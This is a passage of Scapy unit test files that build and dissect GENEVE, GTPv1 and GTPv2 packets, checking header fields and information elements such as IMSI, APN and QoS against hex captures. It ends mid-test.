raw(GENEVE(proto=0x0800,options=[GeneveOptions(classid=0x0102,type=0x1,data=b'\x00\x01\x00\x02'), GeneveOptions(classid=0x0102,type=0x2,data=b'\x00\x01\x00\x02')])) p = GENEVE(s) assert p.optionlen == 4 assert len(p.options) == 2 assert p.options[0].classid == 0x102 and p.options[0].type == 0x1 assert p.options[1].classid == 0x102 and p.options[1].type == 0x2 = Build & dissect - GENEVE encapsulates IPv4 s = raw(IP()/UDP(sport=10000)/GENEVE()/IP()) assert s == b"E\x00\x008\x00\x01\x00\x00@\x11|\xb2\x7f\x00\x00\x01\x7f\x00\x00\x01'\x10\x17\xc1\x00$\xba\xd2\x00\x00\x08\x00\x00\x00\x00\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01" p = IP(s) assert GENEVE in p and IP in p[GENEVE].payload = Build & dissect - GENEVE encapsulates IPv6 s = raw(IP()/UDP(sport=10000)/GENEVE()/IPv6()) assert s == b"E\x00\x00L\x00\x01\x00\x00@\x11|\x9e\x7f\x00\x00\x01\x7f\x00\x00\x01'\x10\x17\xc1\x008\xa0\x8a\x00\x00\x86\xdd\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" p = IP(s) assert GENEVE in p and IPv6 in p[GENEVE].payload = GENEVE - Answers a = GENEVE(proto=0x0800)/b'E\x00\x00\x1c\x00\x01\x00\x00@\x01\xfa$\xc0\xa8\x00w\xac\xd9\x12\xc3\x08\x00\xf7\xff\x00\x00\x00\x00' b = GENEVE(proto=0x0800)/b'E\x00\x00\x1c\x00\x00\x00\x007\x01\x03&\xac\xd9\x12\xc3\xc0\xa8\x00w\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = Raw("data") a = GENEVE(raw(a)) b = GENEVE(raw(b)) assert b.answers(a) assert not a.answers(b) assert not b.answers(c) assert not a.answers(c) = GENEVE - Summary a = GENEVE(proto=0x0800)/b'E\x00\x00\x1c\x00\x01\x00\x00@\x01\xfa$\xc0\xa8\x00w\xac\xd9\x12\xc3\x08\x00\xf7\xff\x00\x00\x00\x00' a = GENEVE(raw(a)) assert a.summary() == 'GENEVE / IP / ICMP 192.168.0.119 > 172.217.18.195 echo-request 0' assert a.mysummary() in ['GENEVE (vni=0x0,optionlen=0,proto=0x800)', 'GENEVE (vni=0x0,optionlen=0,proto=IPv4)'] = GENEVE - Optionlen for size in range(0, 0x1f, 4): p = GENEVE(bytes(GENEVE(options=GeneveOptions(data=RandString(size))))) assert p[GENEVE].optionlen == (size // 4 + 1) assert len(p[GENEVE].options[0].data) == size ================================================ FILE: test/contrib/gtp.uts ================================================ # GTP unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('gtp')" -t test/contrib/gtp.uts + GTPv1 = GTPHeader, basic instantiation a = GTPHeader() assert a.version == 1 assert a.E == a.S == a.PN == 0 = GTP_U_Header detection a = GTPHeader(raw(GTP_U_Header()/GTPErrorIndication())) assert isinstance(a, GTP_U_Header) = GTP_U_Header with PDU Session Container a = GTPHeader(raw(GTP_U_Header()/GTPPDUSessionContainer(QFI=3))) assert isinstance(a, GTP_U_Header) assert a[GTP_U_Header].E == 1 and a[GTP_U_Header].next_ex == 0x85 assert a[GTPPDUSessionContainer].ExtHdrLen == 1 assert a[GTPPDUSessionContainer].PPP == 0 and a[GTPPDUSessionContainer].RQI == 0 assert a[GTPPDUSessionContainer].QFI == 3 assert a[GTPPDUSessionContainer].NextExtHdr == 0 = GTP_U_Header with PDU Session Container with QFI/PPI a = GTPHeader(raw(GTP_U_Header()/GTPPDUSessionContainer(type=0, QFI=3, PPP=1, PPI=6))) assert isinstance(a, GTP_U_Header) assert a[GTP_U_Header].E == 1 and a[GTP_U_Header].next_ex == 0x85 assert a[GTPPDUSessionContainer].ExtHdrLen == 2 assert a[GTPPDUSessionContainer].PPP == 1 and a[GTPPDUSessionContainer].RQI == 0 assert a[GTPPDUSessionContainer].QFI == 3 and a[GTPPDUSessionContainer].PPI == 6 assert a[GTPPDUSessionContainer].NextExtHdr == 0 assert a[GTPPDUSessionContainer].type == 0 = GTP_U_Header sub layers a = IPv6(raw(IPv6()/UDP()/GTP_U_Header()/IPv6())) b = IPv6(raw(IPv6()/UDP()/GTP_U_Header()/IP())) c = IP(raw(IP()/UDP()/GTP_U_Header()/IPv6())) d = IP(raw(IP()/UDP()/GTP_U_Header()/IP())) assert isinstance(a[GTP_U_Header].payload, IPv6) assert isinstance(b[GTP_U_Header].payload, IP) assert isinstance(c[GTP_U_Header].payload, IPv6) assert isinstance(d[GTP_U_Header].payload, IP) a = IP(raw(IP()/UDP()/GTP_U_Header()/PPP())) assert isinstance(a[GTP_U_Header].payload, PPP) = GTPPDUSessionContainer(), dissect h = 'fa163ed6de7bfa163ed82b9408004500008400000000fe114b560a0a2e010a0a2efe086808680070000034ff006000000001fa163e850200ff800000000045000054074d00004001fb490a0a31fe0a0a32010000325600930001c444ca5f00000000759e0a0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637' gtp = Ether(hex_bytes(h)) gtp[GTP_U_Header].ExtHdrLen == 2 and gtp[GTP_U_Header].padding == b'\x00\x00\x00' and gtp[GTP_U_Header][IP].src == '10.10.49.254' and gtp[GTP_U_Header][IP][ICMP].type == 0 and gtp[GTP_U_Header].type == 0 and gtp[GTP_U_Header].QMP == 0 and gtp[GTP_U_Header].PPP == 1 and gtp[GTP_U_Header].RQI == 1 and gtp[GTP_U_Header].QFI == 63 and gtp[GTP_U_Header].PPI == 4 = GTPPDUSessionContainer with padding data = b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00^\x00\x01\x00\x00@\x11|\x8c\x7f\x00\x00\x01\x7f\x00\x00\x01\x08h\x08h\x00J\xed^4\xff\x00:\x00\x00\x00\x00\x00\x00\x00\x85\x04\x08\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00E\x00\x00&\x00\x01\x00\x00@\x11|\xc4\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x12\x01^ffffffffff000' gtp = Ether(data) assert IP in gtp = GTPEchoResponse matches GTPEchoRequest by seq req = GTPHeader(seq=12345)/GTPEchoRequest() res = GTPHeader(seq=12345)/GTPEchoResponse() assert req.hashret() == res.hashret() assert res.answers(req) = GTPCreatePDPContextRequest(), basic instantiation gtp = IP(src="127.0.0.1", dst="127.0.0.1")/UDP(dport=2123, sport=2123)/GTPHeader(teid=2807)/GTPCreatePDPContextRequest() gtp.dport == 2123 and gtp.teid == 2807 and len(gtp.IE_list) == 5 = GTPCreatePDPContextRequest(), basic dissection random.seed(0x2807) rg = raw(gtp) rg assert rg in [ b"E\x00\x00K\x00\x01\x00\x00@\x11|\x9f\x7f\x00\x00\x01\x7f\x00\x00\x01\x08K\x08K\x007\x8e\x860\x10\x00'\x00\x00\n\xf7\x10\x12\x05\xf7(\x14\x0b\x85\x00\x04_\xe2,i\x85\x00\x04\xadm\x97\x83\x87\x00\x0f1DfOTLcIukpXKxV", b'E\x00\x00K\x00\x01\x00\x00@\x11|\x9f\x7f\x00\x00\x01\x7f\x00\x00\x01\x08K\x08K\x007ty0\x10\x00\'\x00\x00\n\xf7\x10\xf0\x84"\x1c\x14\x00\x85\x00\x04\x02D\x81\xe8\x85\x00\x04\xbd\xeb\x92z\x87\x00\x0fv2LUNmjgwdrVOeg', b"E\x00\x00K\x00\x01\x00\x00@\x11|\x9f\x7f\x00\x00\x01\x7f\x00\x00\x01\x08K\x08K\x007n\xb20\x10\x00'\x00\x00\n\xf7\x10\x91\x9f\xbc\xaa\x14\x07\x85\x00\x04<\x7f\x87\x14\x85\x00\x04\xbcU\x14\xcb\x87\x00\x0f9Co27Fbj65eKHyQ", ] = GTPV1UpdatePDPContextRequest(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044ed99aea9386f0000100000530514058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080112f41004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) assert gtp.gtp_type == 18 assert gtp.next_ex == 0 = GTPV1UpdatePDPContextResponse(), dissect h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b46321300305843da17f07300000180100000032c7f4a0f58108500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) gtp.gtp_type == 19 = IE_Cause(), dissect h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030f15422be19ed0000018010000046a97f4a0f58108500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 1 and ie.CauseValue == 128 = IE_Cause(), basic instantiation ie = IE_Cause(CauseValue='IMSI not known') ie.ietype == 1 and ie.CauseValue == 194 = IE_IMSI(), dissect h = "333333333333222222222222810083840800458800ba00000000fc1185060a2a00010a2a00024ace084b00a68204321000960eeec43e99ae00000202081132547600000332f42004d27b0ffc102c0787b611b2f9023914051a0400800002f1218300070661616161616184001480802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f7396737374f2ffff0094000120970001029800080032f42004d204d299000240009a00081111111111110000d111193b" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 2 and ie.imsi == b'2080112345670000' = IE_IMSI(), basic instantiation ie = IE_IMSI(imsi='208103397660354') ie.ietype == 2 and ie.imsi == b'208103397660354' = IE_Routing(), dissect h = "33333333333322222222222281008384080045880072647100003e11dcf60a2a00010a2a0002084b084b005e78d93212004ef51a4ac3a291ff000332f42004d27b10eb3981b414058500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a0094000110970001019800080132f42004d204d299000240fcb60001015bf2090f" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 3 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.RAC == 123 = IE_Routing(), basic instantiation ie = IE_Routing(MCC='234', MNC='02', LAC=1234, RAC=123) ie.ietype == 3 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.RAC == 123 = IE_Recovery(), dissect h = "3333333333332222222222228100038408004500002ac6e60000fd11ccbc0a2a00010a2a0002084b084b001659db32020006c192a26c8cb400000e0e00000000f4b40b31" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 14 and ie.restart_counter == 14 = IE_Recovery(), basic instantiation ie = IE_Recovery(restart_counter=14) ie.ietype == 14 and ie.restart_counter == 14 = IE_SelectionMode(), dissect h = "333333333333222222222222810083840800458800c500000000fc1184df0a2a00010a2a00024a55084b00b1f62a321000a11c025b77dccc00000202081132547600000332f42004d27b0ffc1055080923117c347b6a14051a0a00800002f1218300070661616161616184001d8080211001000010810600000000830600000000000d00000a000005008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff00640094000120970001019800080132f42004d204d299000240009a00081111111111110000eea69220" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[2] ie.ietype == 15 and ie.SelectionMode == 252 = IE_SelectionMode(), basic instantiation ie = IE_SelectionMode(SelectionMode=252) ie.ietype == 15 and ie.SelectionMode == 252 = IE_TEIDI(), dissect h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b46321300303f0ff4fb966f00000180109a0f08ef7f3af826978500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1] ie.ietype == 16 and ie.TEIDI == 0x9a0f08ef = IE_TEIDI(), basic instantiation ie = IE_TEIDI(TEIDI=0x9a0f08ef) ie.ietype == 16 and ie.TEIDI == 0x9a0f08ef = IE_TEICP(), dissect h = "333333333333222222222222810083840800458800c500000000fc1184df0a2a00010a2a00024a55084b00b1f62a321000a1b75eb617464800000202081132547600000332f42004d27b0ffc10db5c765711ba5d87ba14051a0a00800002f1218300070661616161616184001d8080211001000010810600000000830600000000000d00000a000005008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff00640094000120970001019800080132f42004d204d299000240009a00081111111111110000eea69220" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[4] ie.ietype == 17 and ie.TEICI == 0xba5d87ba = IE_TEICP(), basic instantiation ie = IE_TEICP(TEICI=0xba5d87ba) ie.ietype == 17 and ie.TEICI == 0xba5d87ba = IE_Teardown(), dissect h = "3333333333332222222222228100838408004588002c00000000fd1184640a2a00010a2a00023d66084b00184c2232140008ba66ce5b6efe000013ff14050000c309006c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 19 and ie.indicator == 255 = IE_Teardown(), basic instantiation ie = IE_Teardown(indicator='True') ie.ietype == 19 and ie.indicator == 255 = IE_NSAPI(), dissect h = "3333333333332222222222228100838408004588002c00000000fd1184640a2a00010a2a00023d66084b00184c2232140008dafc273ee7ab000013ff14050000c309006c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1] ie.ietype == 20 and ie.NSAPI == 5 = IE_NSAPI(), basic instantiation ie = IE_NSAPI(NSAPI=5) ie.ietype == 20 and ie.NSAPI == 5 = IE_ChargingCharacteristics(), dissect h = "333333333333222222222222810083840800458800bc00000000fc1184c90a2a00010a2a00024acf084b00a87bbb32100098a3e2565004a400000202081132547600000332f42004d27b0ffc10b87f17ad11c53c5e1b14051a0400800002f1218300070661616161616184001480802110010000108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff004a0094000120970001019800080132f42004d204d299000240009a00081111111111110000951c5bbe" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[6] ie.ietype == 26 and ie.normal_charging == 0 and ie.prepaid_charging == 1 and ie.flat_rate_charging == 0 = IE_ChargingCharacteristics(), basic instantiation ie = IE_ChargingCharacteristics( normal_charging=0, prepaid_charging=1, flat_rate_charging=0) ie.ietype == 26 and ie.normal_charging == 0 and ie.prepaid_charging == 1 and ie.flat_rate_charging == 0 = IE_TraceReference(), basic instantiation ie = IE_TraceReference(Trace_reference=0x1212) ie.ietype == 27 and ie.Trace_reference == 0x1212 = IE_TraceType(), basic instantiation ie = IE_TraceType(Trace_type=0x1212) ie.ietype == 28 and ie.Trace_type == 0x1212 = IE_ChargingId(), dissect h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030e77ffb7e30410000018010ed654ff37fff1bc3f28500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[2] ie.ietype == 127 and ie.Charging_id == 0xff1bc3f2 = IE_ChargingId(), basic instantiation ie = IE_ChargingId(Charging_id=0xff1bc3f2) ie.ietype == 127 and ie.Charging_id == 0xff1bc3f2 = IE_EndUserAddress(), dissect h = "3333333333332222222222228100838408004588008500000000fd11840b0a2a00010a2a0002084b4a6c00717c8a32110061c1b9728f356a0000018008fe10af709e9011e3cb6a4b7fb60e1b28800006f1210a2a00038400218080210a0301000a03060ab0aa93802110030100108106ac14020a8306ac1402278500040a2a00018500040a2a000187000c0213621f7396486874f2ffff44ded108" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5] ie.ietype == 128 and ie.length == 6 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x21 and ie.PDPAddress == '10.42.0.3' = IE_EndUserAddress(), IPv4/IPv6 dissect h = "00e0fc065f3800e1fc452bf30800450000cf00004000ff11a8afbd28ac11bd28ac0b084b084b00bb0000321100ab645b29420f990000018008fe0e12100270582511027258257f030b15a6800016f18d0a2a00032805021582842522000000000000000084004f80c0230e0200000e0957656c636f6d65210a802110030000108106bd28c6508306bd28c651000310280402148000ffff0000000000000080000310280402148000ffff000000000000008100050101850004bd28ac12850004bd28ac1287000f0223921f9196fefe74f8fefe004a00fb00040acf6976" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[6] ie.ietype == 128 and ie.length == 22 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x8d and ie.PDPAddress == '10.42.0.3' and ie.IPv6_PDPAddress == '2805:215:8284:2522::' = IE_EndUserAddress(), basic instantiation IPv4 ie = IE_EndUserAddress( length=6, PDPTypeOrganization=1, PDPTypeNumber=0x21, PDPAddress='10.42.0.3') ie.ietype == 128 and ie.length == 6 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x21 and ie.PDPAddress == '10.42.0.3' = IE_EndUserAddress(), basic instantiation IPv6 ie = IE_EndUserAddress( length=18, PDPTypeOrganization=1, PDPTypeNumber=0x57, IPv6_PDPAddress='2804::') ie.ietype == 128 and ie.length == 18 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x57 and ie.IPv6_PDPAddress == '2804::' = IE_EndUserAddress(), basic instantiation IPv4/IPv6 ie = IE_EndUserAddress( length=22, PDPTypeOrganization=1, PDPTypeNumber=0x8d, PDPAddress='10.42.0.3', IPv6_PDPAddress ='2804::') ie.ietype == 128 and ie.length == 22 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x8d and ie.IPv6_PDPAddress == '2804::' and ie.PDPAddress == '10.42.0.3' = IE_AccessPointName(), dissect h = "333333333333222222222222810083840800458800bc00000000fc1184c90a2a00010a2a00024acf084b00a87bbb3210009867fe972185e800000202081132547600000332f42004d27b0ffc1093b20c3f11940eb2bf14051a0400800002f1218300070661616161616184001480802110010000108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff004a0094000120970001019800080132f42004d204d299000240009a000811111111111100001b1212951c5bbe" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[8] ie.ietype == 131 and ie.APN == b'aaaaaa' = IE_AccessPointName(), basic instantiation ie = IE_AccessPointName(APN='aaaaaa') ie.ietype == 131 and ie.APN == b'aaaaaa' = IE_ProtocolConfigurationOptions(), dissect h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009fdef90e15440900000202081132547600000332f42004d27b0ffc10c29998b81145c6c9ee14051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[9] ie.ietype == 132 and ie.Protocol_Configuration == b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00' = IE_ProtocolConfigurationOptions(), basic instantiation ie = IE_ProtocolConfigurationOptions( length=29, Protocol_Configuration=b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00') ie.ietype == 132 and ie.Protocol_Configuration == b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00' = IE_GSNAddress(), simple build/dissect IPv4 r = raw(IE_GSNAddress(length=4, ipv4_address='10.42.0.1')) assert r == b'\x85\x00\x04\x0a\x2a\x00\x01' ie = IE_GSNAddress(r) ie.ietype == 133 and ie.ipv4_address == '10.42.0.1' = IE_GSNAddress(), simple build/dissect IPv6 r = raw(IE_GSNAddress(length=16, ipv6_address='fd01:1::1')) assert r == b'\x85\x00\x10\xfd\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' ie = IE_GSNAddress(r) ie.ietype == 133 and ie.ipv6_address == 'fd01:1::1' = IE_GSNAddress(), dissect IPv4 h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b463213003031146413c18000000180109181ba027fcf701a8c8500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[3] ie.ietype == 133 and ie.ipv4_address == '10.42.0.1' = IE_GSNAddress(), dissect IPv6 h = "33333333333322222222222286dd60000000002c1140fd010001000000000000000000000001fd01000100000000000000000000000208680868002ce2e9321a001c000000000000000010000004d2850010fd010001000000000000000000000001" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1] ie.ietype == 133 and ie.ipv6_address == 'fd01:1::1' = IE_GSNAddress(), basic instantiation IPv4 ie = IE_GSNAddress(length=4, ipv4_address='10.42.0.1') ie.ietype == 133 and ie.ipv4_address == '10.42.0.1' = IE_GSNAddress(), basic instantiation IPv6 ie = IE_GSNAddress(length=16, ipv6_address='fd01:1::1') ie.ietype == 133 and ie.ipv6_address == 'fd01:1::1' = IE_MSInternationalNumber(), dissect h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009f79504a3e048e00000202081132547600000332f42004d27b0ffc10a692773d1158da9e2214051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[12] ie.ietype == 134 and ie.flags == 145 and ie.digits == b'111111111111' = IE_MSInternationalNumber(), basic instantiation ie = IE_MSInternationalNumber(flags=145, digits='111111111111') ie.ietype == 134 and ie.flags == 145 and ie.digits == b'111111111111' = IE_QoS(), dissect h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030afe9d3a3317e0000018010bd82f3997f9febcaf58500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5] ie.ietype == 135 and ie.allocation_retention_prioiry == 2 and ie.delay_class == 2 and ie.traffic_class == 3 = IE_QoS(), basic instantiation ie = IE_QoS(allocation_retention_prioiry=2, delay_class=2, traffic_class=3, length=50) ie.ietype == 135 and ie.allocation_retention_prioiry == 2 and ie.delay_class == 2 and ie.traffic_class == 3 = IE_CommonFlags(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044623f97e3ac610000104d82c69214058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5] ie.ietype == 148 and ie.nrsn == 1 and ie.no_qos_nego == 1 and ie.prohibit_payload_compression == 0 = IE_CommonFlags(), basic instantiation ie = IE_CommonFlags(nrsn=1, no_qos_nego=1) ie.ietype == 148 and ie.nrsn == 1 and ie.no_qos_nego == 1 and ie.prohibit_payload_compression == 0 = IE_APNRestriction(), basic instantiation ie = IE_APNRestriction(restriction_type_value=12) ie.ietype == 149 and ie.restriction_type_value == 12 = IE_RATType(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb321200442f686a89d33c000010530ec20a14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[6] ie.ietype == 151 and ie.RAT_Type == 1 = IE_RATType(), basic instantiation ie = IE_RATType(RAT_Type=1) ie.ietype == 151 and ie.RAT_Type == 1 = IE_UserLocationInformation(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044981eb5dcb29400001016e85d9f14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[7] ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.SAC == 1234 = IE_UserLocationInformation(), basic instantiation ie = IE_UserLocationInformation(MCC='234', MNC='02', LAC=1234, SAC=1234) ie.ietype == 152 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.SAC == 1234 = IE_MSTimeZone(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044f24a4d5825290000102ca9c8c314058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[8] ie.ietype == 153 and ie.timezone == 64 and ie.daylight_saving_time == 0 = IE_MSTimeZone(), basic instantiation ie = IE_MSTimeZone(timezone=64) ie.ietype == 153 and ie.timezone == 64 and ie.daylight_saving_time == 0 = IE_IMEI(), dissect h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009f2f3ae0eb7b9c00000202081132547600000332f42004d27b0ffc10424a10c8117ca21aba14051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[18] and ie.ietype == 154 and ie.IMEI == b'0132750094080322' = IE_IMEI(), basic instantiation ie = IE_IMEI(IMEI='0132750094080322') ie.ietype == 154 and ie.IMEI == b'0132750094080322' = IE_MSInfoChangeReportingAction(), basic instantiation ie = IE_MSInfoChangeReportingAction(Action=12) ie.ietype == 181 and ie.Action == 12 = IE_DirectTunnelFlags(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044d2a7dffabfb70000108caa6b0b14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[9] ie.ietype == 182 and ie.EI == 0 and ie.GCSI == 0 and ie.DTI == 1 = IE_DirectTunnelFlags(), basic instantiation ie = IE_DirectTunnelFlags(DTI=1) ie.ietype == 182 and ie.EI == 0 and ie.GCSI == 0 and ie.DTI == 1 = IE_BearerControlMode(), basic instantiation ie = IE_BearerControlMode(bearer_control_mode=1) ie.ietype == 184 and ie.bearer_control_mode == 1 = IE_EvolvedAllocationRetentionPriority(), basic instantiation ie = IE_EvolvedAllocationRetentionPriority(PCI=1) ie.ietype == 191 and ie.PCI == 1 = IE_CharginGatewayAddress(), basic instantiation ie = IE_CharginGatewayAddress() assert ie.ietype == 251 and ie.ipv4_address == '127.0.0.1' ie = IE_CharginGatewayAddress(length=16) assert ie.ietype == 251 and ie.ipv6_address == '::1' = IE_PrivateExtension(), basic instantiation ie = IE_PrivateExtension(extention_value='hello') ie.ietype == 255 and ie.extention_value == b'hello' ================================================ FILE: test/contrib/gtp_v2.uts ================================================ # GTPv2 unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('gtp_v2')" -t test/contrib/gtp_v2.uts + GTPv2 = GTPHeader v2, basic instantiation gtp = IP()/UDP(dport=2123)/GTPHeader(gtp_type=1) gtp.dport == 2123 and gtp.gtp_type == 1 = GTPV2EchoRequest, basic instantiation gtp = IP()/UDP(dport=2123) / GTPHeader(seq=12345) / GTPV2EchoRequest() gtp.dport == 2123 and gtp.seq == 12345 and gtp.gtp_type == 1 and gtp.T == 0 = GTPV2CreateSessionRequest, basic instantiation gtp = IP() / UDP(dport=2123) / \ GTPHeader(gtp_type="create_session_req", teid=2807, seq=12345) / \ GTPV2CreateSessionRequest(IE_list=[IE_IMSI(IMSI=b'001030000000356'),IE_APN(APN=b'super')]) assert gtp.dport == 2123 and gtp.teid == 2807 and gtp.seq == 12345 ie = gtp.IE_list[1] assert ie.APN == b"super" = GTPV2EchoRequest, dissection h = "333333333333222222222222810080c808004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e4001000900000100030001000daa000000003f1f382f" gtp = Ether(hex_bytes(h)) gtp.gtp_type == 1 = GTPV2EchoResponse, dissection h = "3333333333332222222222228100e384080045fc002fd6d70000f21180d40a2a00010a2a0002084b084b001b00004002000f000001000300010001020002001000731cd7c5" gtp = Ether(hex_bytes(h)) gtp.gtp_type == 2 = GTPV2ModifyBearerRequest, dissection h = "3333333333332222222222228100a384080045b8004300000000fc1185350a2a00010a2a00027a76084b002f6c344822002392e9e1143652540052000100065d00120049000100055700090080000010927f000002ac79a28e" gtp = Ether(hex_bytes(h)) gtp.gtp_type == 34 = IE_IMSI, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd00000000661759000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100235700090385000010927f00000250001600580700000000000000000000000000000000000000007200020040005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.IMSI == b"2080112345670000" = IE_IMSI, basic instantiation ie = IE_IMSI(ietype='IMSI', length=8, IMSI='2080112345670000') ie.ietype == 1 and ie.IMSI == b'2080112345670000' assert bytes(ie) == b'\x01\x00\x08\x00\x02\x08\x112Tv\x00\x00' = IE_Cause, dissection h = 